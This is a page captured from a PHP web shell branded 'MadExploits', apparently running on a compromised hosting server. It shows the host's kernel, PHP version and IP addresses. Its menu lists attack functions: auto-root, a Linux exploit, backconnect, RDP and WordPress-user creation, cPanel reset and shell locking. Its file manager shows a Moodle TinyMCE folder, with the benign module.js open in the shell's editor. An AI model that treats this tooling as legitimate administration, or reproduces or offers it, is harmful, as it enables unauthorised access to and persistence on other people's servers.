Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
editor /
tinymce /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
cli
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
tiny_mce
[ DIR ]
drwxr-xr-x
adminlib.php
7.9
KB
-rw-r--r--
all_strings.php
3.43
KB
-rw-r--r--
lib.php
9.79
KB
-rw-r--r--
module.js
5.94
KB
-rw-r--r--
readme_moodle.txt
1.54
KB
-rw-r--r--
settings.php
3.06
KB
-rw-r--r--
styles.css
514
B
-rw-r--r--
subplugins.php
2.08
KB
-rw-r--r--
thirdpartylibs.xml
231
B
-rw-r--r--
upgrade.txt
1001
B
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : module.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * TinyMCE helper javascript functions. * * @package editor_tinymce * @copyright 2010 Petr Skoda (http://skodak.org) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ M.editor_tinymce = M.editor_tinymce || {}; M.editor_tinymce.editor_options = M.editor_tinymce.options || {}; M.editor_tinymce.filepicker_options = M.editor_tinymce.filepicker_options || {}; M.editor_tinymce.initialised = false; M.editor_tinymce.init_editor = function(Y, editorid, options) { if (!M.editor_tinymce.initialised) { // Load all language strings for all plugins - we do not use standard TinyMCE lang pack loading! tinymce.ScriptLoader.add(M.cfg.wwwroot + '/lib/editor/tinymce/all_strings.php?elanguage=' + options.language + '&rev=' + options.langrev); // Monkey patch for MDL-35284 - this hack ignores empty toolbars. tinymce.ui.Toolbar.prototype.oldRenderHTML = tinymce.ui.Toolbar.prototype.renderHTML; tinymce.ui.Toolbar.prototype.renderHTML = function() { if (this.controls.length == 0) { return; } return tinymce.ui.Toolbar.prototype.oldRenderHTML.call(this); }; M.editor_tinymce.initialised = true; M.util.js_pending('editors'); options.oninit = "M.editor_tinymce.init_callback"; } M.editor_tinymce.editor_options[editorid] = options; // Load necessary Moodle plugins into editor. if (options.moodle_init_plugins) { var extraplugins = options.moodle_init_plugins.split(','); for (var i=0; i<extraplugins.length; i++) { var filedetails = extraplugins[i].split(':'); tinyMCE.PluginManager.load(filedetails[0], M.cfg.wwwroot + '/lib/editor/tinymce/plugins/' + filedetails[1]); } } // Retain any setup which is already defined. options.originalSetupFunction = options.setup || function(){}; options.setup = function(editor) { options.originalSetupFunction(); editor.onChange.add(function(ed) { ed.save(); }); Y.use('event', 'moodle-core-event', function(Y) { var form = Y.one(document.getElementById(editor.id)).ancestor('form'); if (form) { form.on(M.core.event.FORM_SUBMIT_AJAX, function() { editor.save(); }, this); } }); }; tinyMCE.init(options); var item = document.getElementById(editorid+'_filemanager'); if (item) { item.parentNode.removeChild(item); } document.getElementById(editorid).addEventListener('form:editorUpdated', function() { M.editor_tinymce.updateEditorState(editorid); }); }; M.editor_tinymce.init_callback = function() { M.util.js_complete('editors'); } M.editor_tinymce.init_filepicker = function(Y, editorid, options) { M.editor_tinymce.filepicker_options[editorid] = options; }; M.editor_tinymce.toggle = function(id) { tinyMCE.execCommand('mceToggleEditor', false, id); }; /** * Update the state of the editor. * @param {String} id */ M.editor_tinymce.updateEditorState = function(id) { var instance = window.tinyMCE.get(id), content = instance.getBody(), controls = instance.controlManager.controls, disabled = instance.getElement().readOnly; // Enable/Disable all plugins. for (var key in controls) { if (controls.hasOwnProperty(key)) { controls[key].setDisabled(disabled); } } // Enable/Disable body content. content.setAttribute('contenteditable', !disabled); }; M.editor_tinymce.filepicker_callback = function(args) { }; M.editor_tinymce.filepicker = function(target_id, url, type, win) { YUI().use('core_filepicker', function (Y) { var editor_id = tinyMCE.selectedInstance.editorId; if (editor_id == 'mce_fullscreen') { editor_id = tinyMCE.selectedInstance.settings.elements; } var options = null; if (type == 'media') { // When media button clicked. options = M.editor_tinymce.filepicker_options[editor_id]['media']; } else if (type == 'file') { // When link button clicked. options = M.editor_tinymce.filepicker_options[editor_id]['link']; } else if (type == 'image') { // When image button clicked. options = M.editor_tinymce.filepicker_options[editor_id]['image']; } options.formcallback = M.editor_tinymce.filepicker_callback; options.editor_target = win.document.getElementById(target_id); M.core_filepicker.show(Y, options); }); }; M.editor_tinymce.onblur_event = function(ed) { // Attach event only after tinymce is initialized. if (ed.onInit != undefined) { var s = ed.settings; // Save before event is attached, so that if this event is not generated then textarea should // have loaded contents and submitting form should not throw error. ed.save(); // Attach blur event for tinymce to save contents to textarea. var doc = s.content_editable ? ed.getBody() : (tinymce.isGecko ? ed.getDoc() : ed.getWin()); tinymce.dom.Event.add(doc, 'blur', function() { // Save contents to textarea before calling validation script. ed.save(); }); }; };
Close